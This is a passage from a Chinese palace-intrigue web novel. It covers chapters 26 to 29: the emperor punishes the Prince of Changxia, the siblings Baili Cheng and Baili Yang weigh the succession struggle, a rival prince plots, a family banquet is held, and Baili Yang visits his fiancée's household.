下了朝后,皇帝令人传诏长夏王入宫。据说长夏王出宫时,面色惨白,甚至有些魂不守舍。随后皇帝的惩处也下来了,削去了长夏国一个郡的封地。 这个惩罚不可谓不大,长夏国本来只有四郡,四去其一,偏偏去的那个还是顶富庶的一个,长夏王的心痛可想而知。但目前他还顾不及心痛他封地的缩减,他需要表态,甚至还要做出一些努力挽回皇帝对他败坏了的印象。 长夏王手底下还是有几个得力的谋臣的,他们对长夏王建言道:“陛下多半恼怒的是大王对皇后不敬,加上大王此次行事确实失当,惩处便严厉了许多。” 第26章 杀鸡儆猴 对于长夏王被削减一郡封地的事情, 他们也着实心痛,这不仅仅是长夏王的利益受损,他们这些效忠于王的人又何尝不是。少了一个郡, 便少了一个郡的赋税,他们以及他们的家族在那个郡的利益都要受损。 这会儿长夏王极是后悔自己酒后放诞胡为,忘了自己是身在湛京了,一边又忍不住怨百里漾冲出来多管闲事。百里漾不出来拦他,也不会有他后面口出狂言。但事已至此, 他对百里漾做不得什么, 只能迁怒于那些扈从不能及时劝阻他, 通通杖责处置了。 听着臣下们委婉地责怪,长夏王心里很有气, 但他没有对着他们发作出来,而是心烦意乱地问道:“此事可有挽回的余地?如有, 本王该如何行事?” 谋臣们面面相觑了片刻,随即给出了建议, 大体的意思是:大王您做错了事, 惹了陛下生气, 唯一的补救方式就是好好惭悔改过,让陛下看到您的真诚与决心。最好再去皇后和江都王那里认个错,态度一定要诚恳,痛哭流涕效果最佳,如果还能配合表演个母慈子孝、兄友弟恭什么的就更好了。 长夏王听后整张脸都是黑的,但最后也不得不这么采纳了这个建议。 “老四来过了。”百里澄过来江都王宅时,正好看见长夏王的车驾离开不用想也知道他是来做什么的。 “来过了,为了那日在大街上的事。”百里漾也觉得头疼,方才应付长夏王实在耗费心神, 明知对方虚情假意,还不得不同他做戏。 “哼,你下手还是轻了。”百里澄冷艳的眼眸一片冰冷,“若是我,能从那将他踢到皇城正门下,便是陛下也没有话说。” 这一点百里漾信,以长姐的行事风格确实是能做出来的。 “关于这件事,五郎你有什么想说的?”百里澄忽然问道。她看着已经长成大人模样的幼弟,心中其实很有些感慨,只是面上不显,一双眼眸也只把百里漾定定注视着。 百里漾有些愣,但想到长姐可能是在考校他,思索一番后说道:“阿爹还是很疼我们的。”百里涌会被罚的这么重,主要是因为他对椒房所出的兄弟口出狂言甚至对皇后不敬,但更重要的是皇帝估计是想要借着这件事杀鸡儆猴。 东宫病弱不是一天两天了,膝下也无子,这般情况下,加上某些人有意挑动,表面风平浪静实则底下人心浮动得厉害,有些人更是在暗地里偷偷站队了。这样的情况,皇帝不会不知道。正因为他知道,所以他要借着这件事将那些浮动的人心按下去,以此向世人宣示他的心意一直没有变,椒房与东宫的地位依旧稳固。 这至少证明,皇帝还是偏爱他们的。 “这一点是没有错的。”百里澄略略颔首,又问道,“对于老四,你怎么看?” 她说的“看”自然不是单纯表面上的意思,而是要警视、探查百里涌有没有别的心思,比如他也想当太子之类的。这是没有办法的事情,权力的斗争都是残酷的。他们生在帝王家,有些东西注定是不能让的。尤其是她们兄姊弟三个,一旦上位的人不是他们,下场绝对凄惨。 让了,输了,他们就死了。 “只目前来看,四哥行事多放诞,只图一时痛快,还好贪图享乐,对于长夏国诸多要务皆委任宠臣,对他们也都多有放任。” 长夏国里传出来的事迹加上这次的事情,可以看出百里涌为人贪图享乐且不务正业,偏听偏信,喜欢凭自己的喜好做事。这般德性的人,做臣下的看不出他哪里有英明之主的气象,做父亲的如皇帝是不会喜欢挑选这样无德无行的儿子做自己的继承人的。 百里漾今世做了天家皇帝的儿子,自幼生长的环境让他学会了对那些同父异母的兄弟们始终抱着警惕之心,更要时刻审视那些兄弟们的举动之下是否藏着别样的心思。他怕他们想争,更要防着他们争。这一点,他们兄姊弟三人都是一样的。 “你能想到这些很好。”百里澄还是很欣然于幼弟的成长的,但只是这样的想法却是不足够的,“但表象是可以装出来的,人前装得人模人样,人后狼心狗肺的也大有人在。未到尘埃落定的一刻,谁也说不准了。” 这话说的,毫无疑问,百里澄是在影射定安王。在百里洪十二岁以前,这货也是安安分分的从不搞什么幺蛾子出来,去了封国之后,人就变了,力图给自己塑造贤德有作为的英明气象,一面还时不时采用亲情攻势猛烈向皇帝进攻。其心昭昭,都快赶上司马昭了。 所以对这些兄弟,任何时刻都不能放松警惕。 “是,阿姐,五郎受教了。”百里漾对此深以为然,对待那些天然存在威胁的兄弟们,就得戴上有色眼镜去看。 严肃郑重的话题说完,百里澄可不想把气氛搞得太沉闷,她忽的又说起了长夏王酒后在大街上纵马的事情,问百里漾,“你那日就没遇到点什么特别的人呢?” 特别的人? 百里漾仔细回想了下,其余的也没有什么特殊的,除了一个叫闻夏的太学生。后来他出于好奇令人去查了一下,太学中确有其人,年十九,贫寒子弟出身,勤学刻苦,次次考核的成绩皆为甲上,只需再经最后的结业考便可以从太学结业然后授官了。 “此人倒不失为一个可造之材,操作好了说不定可为我们所用。”百里澄颔首道。她看着毫无所觉的幼弟,颇为无奈,“除此之外,没有别人了么?” “还有谁?”百里漾开始反省自己是不是漏掉了什么关键的人物。 看着幼弟这眼窍不开、心窍也不开的样子,百里澄不禁开始反省是不是对幼弟的教导过于严防死守了,别的诸侯王在他这个年纪孩子至少都有一个了,像是老四百里涌,他十五岁时侍妾的肚子都老大了。再看她这个幼弟,一直以来都规规矩矩的,身边一个侍妾也无,更无半点花花肠子。同他一起的崔栋都知道去花楼里包行首了。 “你是不是忘记自己有一个未婚妻了?”百里澄也不兜圈子了,她怕自己再兜圈子只会把百里漾绕进去再也出不来。 未婚妻? 百里漾一愣,随即反应过来了,“阿姐你是说颜姑娘当时也在么?” “你就没有看见定国公府的马车么,百里涌差点撞上的那辆便是,当时颜家三娘子就在里面。”百里澄想扶额,她也确实扶了。 当时距离如此之近,百里漾却愣是没看到。 百里漾更懵了。他当时完全没有注意到,他当时只顾着拦下长夏王的恶行,至于其他的,他没有来得及关注太多。原来那位颜姑娘竟是在的,说不得过程从头到尾都看个遍了。 瞧着幼弟这副呆样,百里澄直摇头,“你可真是一只呆头鹅,一点没有做人家未婚夫的觉悟。”这等同于人家姑娘在他前面摔倒了,他的行径比看见了不扶还要可恶,因为他压根就没有看见。 “我之后便去定国公府赔礼。”百里漾赧然又羞愧了,这事确实是他做的不对。其实从那次越国长公主的游园会之后,他也没有再见过那位颜家的姑娘了。 这样好像是不太行,如果没有意外的话,他们该是相互携手一生的人,而且这是联姻,对两家的意义都重大。他作为两位当事人之一,似乎表现的过于冷淡了。日子久了,难免会叫人传言他对这门亲事不满意或是对定国公府报以轻视的态度。 看着幼弟并不算完全的榆木脑袋一只,百里澄颇感欣慰。其实幼弟无非就是不开窍,这样也好,她觉得这样就比老二老四他们要强的多了。这样的女婿,定国公府也应该会满意了。 长夏王被削减封地之事在湛京引起了不小的震动,尤其是在诸侯王之间。 定安王收到消息的时候,惊得都愣住了,接着就是狠狠砸了手上的酒爵,气愤又极不甘道:“阿爹为了太子,竟对我等如此狠心。明明我们也是阿爹的儿子啊。” 他当然不是为长夏王抱屈,而是看到了这件事背后皇帝的态度。 王国相也惊了,皇帝能做到这个份上,维护皇后与东宫的意思已经很明显了。太子永远是太子,谁都不要存有任何妄想。皇帝这是在警告下面那些不安分的儿子。 定安王内心的不甘和愤懑都要化作利剑,狠狠刺穿太子的身躯了。 但形势比人强,如今之势并不利他们。王国相只能劝定安王道:“陛下态度如此之强硬……东宫此刻还是难以撼动的。大王仍须缓缓图之。” “缓缓图之?”定安王冷笑且不耐,“难道要等着百里渝登上帝位么?他若成了皇帝,那时我算什么?” “大王勿急。太子非常寿之人,子嗣亦艰难,至今无子,即便是侥天之幸登上了帝位也不会长久。若真到了那一步,大王应早做打算才是。” “你的意思是?”定安王有些被说服了。 王国相拱手道:“大王应做两手准备才是。” 所谓的两手准备,其一是若太子活不到登基,该如何;其二则是若太子活着登基,又该如何。他们谋划的是帝位,不管何种情况,都应该有所应对策略才是。 定安王听进去了,他沉思了片刻,道:“卿所言正中我心。古之成大事者,皆善隐忍而多思谋,忍一时再谋天下。” 第27章 送礼与家宴 定安王与王国相的谈话无人得知。而皇帝惩治长夏王之后, 效果也很明显,底下的儿子们一个个都显得无比的乖顺。即便知道这很有可能只是暂时的,也让他心情愉悦了一段时间。 可百里漾却有些烦恼了。那日从长姐百里澄的口中知道了自己干的“蠢事”后, 他也觉得不能再这样下去了,他应该重视起来的,那毕竟是他未来的王妃不是么。且陛下下旨赐婚已有一段时日了,他也该亲自上门拜访未来的泰山泰水了。 既是拜访,那就要备礼。定国公家中人口如何不难查清楚, 按着礼数备下便是, 这些也有臣下为他办妥。难得是给那位颜家姑娘的礼物, 送什么才会恰到好处,既不会唐突又显得亲切。可这种事他完全没有经验, 前世今生也就现下是头一遭。 “你就是为这个发愁?”崔栋觉得不可思议,他理解不来, “这种事情完全可以交给下面的人去办,保管办得既妥贴又好, 届时只消你带着礼物上门便是。何必愁成这样。” 百里漾不想同他说话了, 他就不该找崔栋来问策。崔栋在这些方面向来粗犷大意、浑不上心, 自己找他能得到什么好的建议。 眼看着百里漾不打算搭理自己了,崔栋不干了,“你一说有急事,我匆匆忙忙、火急火燎的就赶来了,结果就为这事?” 百里漾被他缠得烦了,忽想起崔栋已定亲卢家的姑娘,舅舅舅母着急,想尽快让两人完婚,早些日子已经开始走六礼了。他问:“卢家姑娘那边, 你就没有自己亲自挑选过什么礼物送过去?” 两家的婚事到了这个地步已经没有反悔的余地了,崔栋的态度也从不情愿转变为了不抵触。既然未来要成为夫妻,双方自然要有所表示,卢家那边送来了不少礼物给大将军府以表心意,崔家这边也要回礼,舅母怕是没少要求崔栋送些东西过去给人家姑娘。 “有啊。”崔栋肯定道。 百里漾顿时来了兴趣,问他是什么,看看自己有没有可以借鉴效仿的地方。 “我的画作。”崔栋没有看见百里漾陡然变得无语至极的脸,面上满是遇到知音伯乐的喜悦兴奋,“卢姑娘回信说,我的画极好,她特别喜欢,已让仆人拿去装裱了,准备挂在书房里,习字时可以看到。” 百里漾:“……” “你这是什么表情?”崔栋总算看见了百里漾面上古怪的神色,不乐意了。这么些年了,他好不容易遇上一个懂他、欣赏他画作的人容易么? 确实很不容易。百里漾不知道人家卢家姑娘是真喜欢还是假装迎合,但不管怎么说,至少崔栋的婚后生活是不用担心不睦了。两个“情趣相投”的人凑在一起,日子总不会难过的。 虽然崔栋送礼的内容很令人吐槽但效果却奇异的显著,这其中还是有可以借鉴的地方。 百里漾把崔栋打发走后,细细思索了一番,转头找来了此次随同一道前来湛京的掌管府库财物的臣子,让他去找一样东西出来。 这位臣子动作很快的就将百里漾要的东西找出来了,在知道大王是要拿去送人后还十分贴心地找了一个很相衬的盒子装在里面,顺道还问了一句,“不知大王要将此物赠与何人?” 在臣子看来,那一瞬间不知怎的,他总觉得大王的神色变得有些高深莫测,然后说出一句让他大惊失色的话。这、这是送给他们未来王妃的?!! “怎么了,可有问题?”百里漾瞧他神色不对劲,不由问道。 “并无问题。”那臣子默默咽下了自己要说的话。他原先还以为此物是赠送给长公主的……若是赠送给未来王妃,恐怕有些不妥吧。可看着大王一脸满意,他想了想还是不劝了。未来王妃是将门出身,说不得也会喜欢这件礼物的、吧。 上门拜访别家为示诚意与礼数,拜帖要提前奉上,还要询问人家有没有时间。百里漾派了此次随同入京的品级最高的属臣前去送拜帖,得到了三日后可以去拜访的回复。 事情算是解决了一半,百里漾心里稍稍松了一口气,可又为即将到来的拜访而有些心绪不平,难免多想了些。但他很快没有时间为此事想那么多了,因为皇帝定下的家宴就在今晚。 此前各地诸侯王陆续抵达湛京,皇帝皆一一召见了,不过那都是私底下的见面,更似是亲人之间多年未见后的一次相见。而这一次的家宴是皇帝召集了如今在京的所有天家宗室之人举行的一次宴会,包括越国长公主一家在内,哪怕是如今皇帝膝下年纪最小的七、八两位皇子都会赴宴。 时隔五年,百里氏的子孙们再次聚在一起,也好叫彼此之间看看自己的兄弟姊妹们在这五年间都变成了个什么模样。 夕阳渐落,天色昏黄。 江都王宅里,百里漾正由侍人服侍着穿衣。因为是家宴,无涉君臣朝堂,所以衣着可不必过于郑重正式,但也不能太过随意。他选了诸侯王的常服,玉簪金冠,宽袍玄衣,腰悬宝剑,挂白玉为佩,威严之余又不失随和。 着装毕后,出发入宫赴宴。门外已有专人套好马车,待百里漾登车后,车夫挥鞭驱动马车,朝着皇宫的方向驶去。 今晚的家宴定在织庆殿中举行。百里漾到织庆殿时,已有一些人先到了。他举目望去,东宫一家三口、栎阳长公主百里澄、定安王携妻带子的以及越国长公主一家都赫然在列了。 百里漾走上前去一一见礼。太子与百里澄是他兄姊,他们之间没有必要虚情假意地客套。越国长公主是长辈,素来和善可亲、立场也颇正,颇受晚辈敬重。一阵寒暄过后,气氛很是融洽。轮到定安王时,气氛就稍稍有些变了。至于原因么,大家都心知肚明。只是很多事情没有真正摊开到明面上,所以大家面上还是能够装出一团和乐。 定安王身形魁梧似武将,下巴处一整圈都蓄有黑短微卷且浓密的胡须,衬得模样更显粗犷。他大步上前拍了两下百里漾的肩膀,朗声道:“五年未见,五郎已长成一磊落堂堂的挺拔男儿了,为兄我差点都要认不出来了。”态度亲切热络毫不生疏,好似他与被百里漾真的是情谊深厚的兄弟俩。 肩膀上传来定安王两掌施加下来的厚重压力,百里漾面不改色,对定安王勇武初步有了切身的体会。他的身形未有丝毫动摇,亦笑道:“漾见三王兄又未尝不是如此。” 定安王微挑眉,配合着笑了几声。两人又假惺惺地说了几句场面话后,定王安便介绍了一番他的妻子和儿女。此次他上京是定安王妃与嫡女、庶长子随行。 定安王妃是褚氏,世家怀郡褚氏的嫡长女,样貌自然是美的,自有一番仪态风度。百里漾只看一眼便行礼问好,两人没说什么话也叫他看出褚氏的一点异样来。 褚氏是褚之彦之女,匆匆一眼也看得出她与其父有几分相似之处。百里漾自不是因为这个觉得有异,他是发现了褚氏精致妆容之下也泄露出来的一丝疲惫。又想到褚氏三四月前方产子,如今却要跟着定安王一路劳顿上京。显然定安王此人可不是会怜惜妻子的人。 定安王的庶长子年方五岁,眉眼几乎是复刻定安王了一般,体格也比一般的同龄孩子高壮健硕。百里漾听说过,此子是定安王的一名媵妾所生,因是长子,定安王多有宠爱,甚至亲自教导弓马骑射,延请名师教以课业,待遇已不输一般的嫡子。如今看来,这孩子气势颇足,上前与王叔见礼眼神也毫不见卑怯。长女只有三岁,是王妃褚氏所出,正儿八经的嫡长女,白白嫩嫩的,小小一只,性子却有些羞怯,紧紧抓着母亲的手,听从父亲的话给百里漾这个王叔行礼后又躲了回去。 百里漾对孩子没有什么意见,一一给了见面礼。 这场家宴,因为皇帝要求在京的皇室宗亲除了实在来不了的都要来,百里漾预料到比他小一辈的孩子怕是有点多,基本上他都是第一次见,见面礼少不了,所以之前备下了,现下见了面正好可以给出去。 就在他与众人见礼寒暄的时候,淄川王以及宜城公主、长夏王、山阳王等人也纷纷到了。淄川王不必说,他是长辈,在抵达湛京的第二日,百里漾便去拜访过了。长夏王那日在大街上见着了,还起了冲突。倒是宜城公主和山阳王,百里漾回京至今是第一回见。 来了人,一群人又是一阵寒暄问礼,说些“经年不见”的话。 没过多久,尚未及笄的汝阳公主带着两个小豆丁七皇子、八皇子也到了。这三只年纪是皇嗣中最小的,兄姊之间的那些明里暗里的争斗不对付还牵扯不到他们,故而也没有那些弯弯绕绕的花花肠子,只是单纯觉得好些几年不见的兄姊们变化好大,基本上是认不出来的。 织庆殿宽阔恢弘,往常多用作皇帝宫中行宴,或是宴请勋贵大臣。殿内宽敞明亮,数百盏明灯尽数点亮,照得殿中诸人皆一览无余。百里漾等赴宴之人悉数到场后,交谈的声音也多了,热闹的气氛也就起来了。 皇帝与皇后就是这时候来的。宫侍还未唱声迎驾,皇帝看着织庆殿里面热热闹闹的景象,心情大好,与崔皇后感叹道:“宫中好久没有这般热闹了。像今日这般大家一家子都聚做一处,吃喝玩闹,也是难得的乐事。” 第28章 拜访之前 崔皇后也笑, “陛下若是愿意,叫他们日日入宫来也不是不可。” 两人是老夫老妻携手过来的,皇帝也乐得与发妻打趣, 故作吝啬道:“真叫他们日日来了,朕内库中的美酒怕是要让他们喝光。朕可不舍得,想想都觉得亏得慌啊。” 崔皇后掩唇轻笑。 “陛下、皇后殿下至。”随着宫侍唱至,帝后二人携手前来,出现在织庆殿众人的视线之中。众人纷纷叩拜行礼, 皇帝叫起后, 看着底下满满当当的人, 容色大悦,笑道:“今日是家宴, 亲人团聚,无需多礼。” 皇帝都发话了, 众人也不会拘束。 宫中行宴,若是大宴, 人数颇众, 具是分案而食。自高皇帝起, 百里氏的子孙繁衍到如今,其实人数也不能算众。只不过好些都已成家,妻儿家眷随着来了,便使一家排在一处,瞧着也分明。 皇帝今夜的心情真的是极好,瞧着这殿中都是他血亲之人,忍不住多饮了些酒,还是崔皇后劝了,他才节制了些。酒过三巡, 皇帝兴致上来了,对出京就封的弟弟、几个儿子都有问话,说了好些关切之语。淄川王与定安王等皇嗣皆备受感动,想着这几年在封国不能回京的日子,眼眶都微微发红。 这场家宴进行至深夜,气氛一直都很和乐。皇帝最后还是饮醉了酒,被崔皇后令宫侍搀扶着离开。饮醉的人又岂止皇帝一个,如淄川王、定安王、长夏王等人也都是醉得走不动道,被同来的妻儿或宫侍搀扶着离开出宫去了。 百里漾也饮了不少酒,他酒量还可以,在宴上不似定安王他们多饮,离场时神思尚算清明。他与长姐百里澄先送太子回东宫,途中叫夜风吹了一路,酒便彻底醒了。 百里漾是要出宫回自己的王宅的。本来送太子一家三口回东宫后,他应该要出宫了。长姐百里澄开口让他送她一路,百里漾自然不会拒绝。百里澄未曾招驸马,作为未嫁的皇女,依旧居住在宫中。从她的寝宫到东宫有一段不远不近的距离,百里澄说步行过去,正好可以醒醒酒。 “阿爹很久没有这样高兴过了。” 宫人手持宫灯,两人在前引路,又令其余人隔着一段距离在后面远远缀着。走到了一空旷处,百里漾忽然听到长姐如此说道。 百里漾也想起方才在织庆殿时,整个家宴的过程中,皇帝丝毫不掩悦色,可见心情是真欢喜。他默了默,在长姐看来时,微微叹道:“大家好久没有这般聚过了,阿爹心中自是高兴。” 皇帝除了是皇帝,他亦是百里氏的大家长,是他们这些人的兄长、父亲以及祖父。天家亦是家,皇帝也是人,他当然也希望同胞之间和睦、底下的子女们能够孝悌睦好。尤其是他渐渐老去,心中便更愿意看到这样的图景。但天家又不是一般的家,当皇帝开始老去,他的子女们却羽翼渐丰,面对这天底下最大的权力诱惑,没有人能够淡然处之,争端也就开始了。今日织庆殿中的喜乐平和只会是暂时的假象罢了。 定安王志在东宫,心思已是昭然若揭。其余的目前还看不出来什么,但估计也不省油。如今局势尚且平稳,皆因皇帝态度强硬将那些不安分的都压了下去。但太子身子孱弱是事实,皇帝也不只是他们兄姊弟的父亲,他们也怕皇帝会动摇。 “阿爹希望的是兄友弟恭,各安其位。”百里澄走在前面半步说道,又转眸看向百里漾,如潭水无波,“可百里洪不会这么想,他的亲族、拥护他的人都不这么想。倘真到了那么一日,势必要同室操戈。” 百里漾陡然一震,瞳孔都颤了一下。 周围的夜色茫茫,宫殿檐下的灯火在沉沉的夜幕中显得微渺而无力。他们这群人像是在一步一步地踏入更深的黑暗之中。 百里漾的心也茫茫,他不禁顺着长姐的话去想,倘若真的走到了那一步,不是你死就是我活,真的要去下那个手么? 百里澄看他心神摇摆得厉害,没有再继续说下去。她这个幼弟自小就比其他兄弟们良善的多,阿爹常为此感到欣慰。可在她看来,如今却是不太合宜了。 做天家的子女,该狠时就要比谁都要狠,心慈手软、犹豫不定往往就会败北,下场凄惨的也不会只是自己一个人。 “也未必会发展到那一步。”百里澄回首,望向了茫茫夜色中灯火明亮的东宫所在,“东宫立稳了,任他们有再多的心思也无济于事。” 百里漾也随之望向东宫所在,心情却不免沉重。 东宫是国之储贰,轻易不能撼动。若太子好好的,岂容得百里洪他们出头。可太子的情况,大家都有目共睹。他这次回湛京见到太子,其实心中是很惊了一跳的,太子的情况看着比他就封前还不如。如今东宫的许多事务以及召集臣下商讨诸事,太子甚少亲自出面,大多是由长姐暂代的。这怕也是长姐一直没有招驸马的原因之一。 “到了。”百里澄道。 百里漾恍然,抬头见到了宫殿悬挂的匾额,他这一路走过来心事颇重,都没有注意已经送到地方了。 “你该出宫了,夜深记得看路。”送到地方了,百里澄用完就扔,开始赶人。 “……”百里漾只好告别道,“我这就回去,祝阿姐好梦。” 百里漾手持皇帝给的出宫令牌,叫开了宫门后,乘坐马车回到了江都王宅。府中已备好醒酒汤、热汤等物,等一切收拾停当之后,百里漾昏昏欲睡,沾到床榻后便沉沉睡去。 至第二日醒来时,天光已大亮。 百里漾方洗漱更衣毕,正喝着稠香可口的小米粥,昨日那名负责掌管府库财物的臣子来了。百里漾请他一同用早膳,臣子辞拒了并告诉他今晨时椒房殿来人传皇后口令,请江都王入宫一趟。 “此事怎无人知会于我?”百里漾眉头一皱,问道。 臣子忙说道:“本是要叫醒大王的,只那女官说皇后殿下特令她传话,勿扰大王安睡,请大王得空了便入宫往椒房殿去一趟。” 想来是崔皇后心疼幼子昨夜行宴饮醉后还要连夜出宫,想着让他睡个好觉再来。这般特意交代了,百里漾想着估计也不是很要紧的事情,就不甚着急了。只是他用早膳的速度比平日加快了些,一面又吩咐人备马。 待百里漾出门时,只在小半个时辰后。翻上马背一拉缰绳,马蹄声“哒哒哒”地往皇宫去了。他到椒房殿时,崔皇后看见他来得如此之快,颇是诧异道:“不是让你觉醒了再来么?” 话是对着百里漾说的,身旁有一女官忙俯首跪下,“殿下恕罪,殿下之令奴婢不敢违逆,未曾敢扰大王好梦。” 百里漾道:“那时我还在梦中,醒来后才知阿娘唤我。担心有什么要事,所以就来了。” 崔皇后抬手让那女官起身退下了,“说不上什么要事,可也的确有些要紧。” 一听崔皇后这么说,再看她面上的肃色,百里漾的面色也凝重了些,做出一副恭听垂训的模样。 岂料,崔皇后先问他,“你可是后日要去拜访定国公府?” 百里漾有点懵,回道:“是,阿娘何时知晓的?”他有些凌乱,这事有什么不对么? “自然没有不对,你这般行事就很好。”崔皇后肯定了百里漾即将上门拜访的举动。对于百里漾的婚事,她其实挺忧心忡忡来着的,只因幼子似有不愿以及不上心。那日百里漾与她说了那一番话之后,崔皇后倒不担心颜氏女嫁过来之后幼子会待她不好,她反而开始忧心幼子日后婚姻不幸福。 在她看来,婚姻大事若是能两情相悦是最好,否则便容易出怨偶。东宫的情形她看在眼里,每每想到便要叹一次。为人父母的,自然希望子女过得好。长女那情况就先不提了。如今幼子已有婚事,但瞧着他却不如何上心,做娘的着急在心里,无法,只好令人不时以他的名义给定国公府那边送去礼物,以示看重。 乍得知百里漾不日要上门拜访定国公府,崔皇后不胜欢喜,思来想去忧心幼子没有经验,特意叫来叮嘱一番。 崔皇后道:“说来自圣旨赐婚后,这是你头一回上门,自当慎重,礼数必要周到。上门的礼物可备下了?” “备下了。”百里漾叫崔皇后一连串的话说得脑子都要转不上了,总之就是崔皇后问什么,他老老实实回话就是。 “你手下之人做事颇是周到。”听百里漾说他准备要携什么礼物上门,崔皇后面色稍缓,思索一番后细细叮嘱,“定国公非常人,你将娶他爱女,普通人家尚且不放心,担心女儿所托非人,定国公夫妇亦如是。此次上门拜访,你是以未来女婿的身份去的,执的是晚辈礼,态度总要谦逊一些。” 说着又招手示意,旁边立时有一女侍双手恭敬呈上一红册,崔皇后便示意百里漾接过。 百里漾接过翻看,发现这是礼单,上头所列的都是好东西。他当即就明白了崔皇后的意思,辞拒了。他自己上门拜访,怎好意思用阿娘的东西。 崔皇后却不容他拒绝,“这是我要送未来儿媳的,与你无关,你到时就负责捎上就是了。” 百里漾只好应下,心中却是暖洋洋的。阿娘念他疼他,才会事事为他筹谋。同时他心中亦升起愧疚来,他应该更懂事一些,这样才能真正担起更多的事来,免得亲长为他忧心操劳。最后他面带愧色地从椒房殿离开了。 第29章 正式见面 “这孩子。”百里漾离开后, 崔皇后不禁摇头叹气,“自己的王妃自己都不知道上心。” 其实崔皇后是有些想不通的,颜家的姑娘模样才华品性皆是上等, 幼子又并非没有见过那姑娘,怎么反应如此平淡,寻常都是少年知慕好颜色,换到幼子这却行不通了。弄得她甚至此前百里漾同她说的“恐耽误人家好姑娘”是托词了。 “五王许是知事晚,过个一两年便好了。届时殿下怕是也有孙儿抱了。”掌宫令一面笑着安慰道, 一面适时上前给崔皇后轻轻按摩着脑门两侧的穴位。 “你啊, 这张嘴惯是会说话的。”崔皇后被掌宫令逗笑了, 还真的顺着她的话去畅享了一下日后孙儿绕膝的美好场景。她已有孙女阿荧,疼爱非常, 若非不忍母女离别,她其实是想亲自教养于膝下的。 这时代到了崔皇后这般年纪的妇人内心是很想抱孙子孙女的, 且以太子与百里漾的身份境地,膝下子息不丰总归是不好的。太子是那般情况不能强求, 长女有自己的主意。她便把希望先落在幼子身上。 江都王将要亲来府上拜访, 这是大事, 定国公府上下都极为看重。 曹氏最为期待,她其实一直想正式与江都王见面,在游园会的那次不算。赐婚的圣旨已经颁下,她心中早盼着了这次会面了。女儿将嫁,她虽然之前细细打听过江都王人品各项,大体来说是满意的,但没有真正当面的见过,总不会真的放心。 虽然百里漾有未来女婿的名分在,但君臣名分在前, 无人敢怠慢他。故百里漾登门拜访的这日,定国公府大开中门,以定国公夫人曹氏为首,迎他入内。 定国公府为迎接这位天家贵婿,出动了不少人,领头的人是曹氏,后边站着定国公的次子。倒不是他们怠慢,只因定国公与长子身在军伍,领着要职,这段时日并不在湛京之中。百里漾这次来拜访只能见到未来的丈母娘。 大家都大门口相互见过礼之后,百里漾便被迎进了会客的厅堂。 这是百里漾第二次见到曹氏,之前在游园会只是简单打了招呼。曹氏是定国公发妻,身上很有大家主母的气派。她眉眼温和含笑,言谈举止皆落落大方,待百里漾有亲近之意不使人生分也不会过度,一路走来所言皆言之有物,给百里漾一种如春风般和煦的感觉。 至厅堂坐下,仆从奉上茶来。众人便喝茶说着趣事,不涉朝政。大家都心知肚明这回是准女婿上门拜访,只捡些欢乐的事情说。说说笑笑过后,双方彼此之间的距离拉近了些,也都能放开了些。 百里漾捡拣了些在江都国的事情来说,他发现当说到江都的一些风土气候时,定国公夫人尤为上心,于是在这方面就多说了些。 江都据四郡之地,王廷所在的江都郡一年之中气候温和,夏日不会太过炎热,冬日也不至于过于寒冷,称得上是山水秀美,物阜民丰,否则当初皇帝也不会选在此处为百里漾修建王廷。 曹氏听罢连连赞叹,不只是对江都,心里还有对百里漾这个准女婿的满意和欣慰。她这半辈子经历过许多事,识过许多人,练出了几分看人的准头。她看出是个百里漾性情好的,不似其余诸侯王倨傲,椒房所出之子还是这般品性,更是难得。她现在能放心了,这位五王是知礼明理之人,这样的人即使对妻子无爱,但该给妻子的敬重是不会少的。 饮过了一轮茶,也叙过了一回话,也该进入正题了。 客人过府,按照常规流程,主人家是要带着第一次上门的客人往府中游览景致的。果然,曹氏开口,邀请百里漾去府中花园赏游,让次子颜青梧领路作陪。 百里漾心道:“来了。”面上没有表现出什么异色,向曹氏告辞后随颜青梧去了。 “五王请。”颜青梧走在前一步,拱手做了一个“请”的手势。 他是定国公第二子,年二十四岁。兄长颜青柏如今领着武职随父在外驻守,并不在京中;他则留在湛京之中,如今领着禁军的差事,知道江都王要来府上拜访,他便请假在家。对于这位身份贵重的未来妹夫,颜青梧小心中却忍不住带了几分打量。江都王日后可是要娶他亲妹妹的,哪怕婚事已经定下,但这人好与不好,他也忍不住想要看看。 今日看来,百里漾给他的观感很是不错。 颜青梧一路引着百里漾在园子里闲逛,介绍些独特雅致的园景布置。这宅邸是泰始年间高/皇帝赐下的。当时的宅邸虽只是挂匾侯府,实则前身是前朝某位曾显赫一时的国公之府,其规格布置、园林景致在湛京中都是排得上号的,很是值得一观。 但这些在今日其实都不重要,百里漾也没什么心思仔细观赏。大家心里也都明白,这回百里漾来,还有一件要事便是与他那未婚妻颜漪正式地见上一面。 这时节湛京的天气已经有了暑气,纵使定国公府内绿荫遍植,常有凉风穿堂而过,一路走来却仍免不了一身热气,百里漾身上也出了些汗。 “大王,前方有一凉亭,可避一避暑热。”行至一处抄手游廊,颜青梧说道。 凉亭? 百里漾恍然,举目望去,只见前方凉亭之中有一薄青倩影端跪正坐,距离颇远,似有所感,微微侧目朝这边看来。两人的目光在半空中碰了一下,百里漾忙收回视线,耳根下微微发热。他懂了,那凉亭就是今日他与她见面的地方。 人已带到,颜青梧看了一眼凉亭中,朝百里漾拱手作礼,什么也没说,告退了。 定国公府很贴心,将空间留给了两个未婚小夫妻。 百里漾看着不远处的那道倩影,抿了抿唇,深吸一口气,走了过去。待他走入亭中,等候的颜漪便起身作礼相迎,“臣女见过大王。” “免礼。”百里漾也回了一礼,说道。 两人隔着一张石桌对坐。 百里漾忽然有些紧张,或者说他在向这个亭子靠近时就开始紧张了。他知道的,这个亭子里坐着的是颜漪,在等着他的人是他的未婚妻,也是未来的盟友。不管是哪一种身份,都值得他慎重对待。 “大王可喜饮茶?”颜漪问道。 百里漾很能装,略颔首。 时下品茗是雅事,在权贵世族中深受欢迎。他大略懂一些,能品出好坏,细微的差别却说不出个所以然,有些时候喝它更多的是为了提神的。 颜漪便亲手煮茶,行云流水间,一举一动甚是风雅美观,令人赏心悦目。不多时,她便沏出了一杯新茗递给百里漾。 百里漾忙接过饮了,眼睛一亮,赞道:“好茶。” 这杯茶给他的感觉很不一样。 新沏的茶是热的,这般天气饮用热茶难免暑热更甚。其实不然,这是一种新出的茶饮,细品如果酒却有茶的清香,加入些许冰使得滋味更佳,在湛京中极受欢迎。但这种茶饮煮制的时候很繁琐且不容易制好,他现在能喝到,全靠对面之人的用心与手巧。 “七娘子茶艺出色,令人佩服。”光赞茶好却忽略了人,百里漾赶紧补道。 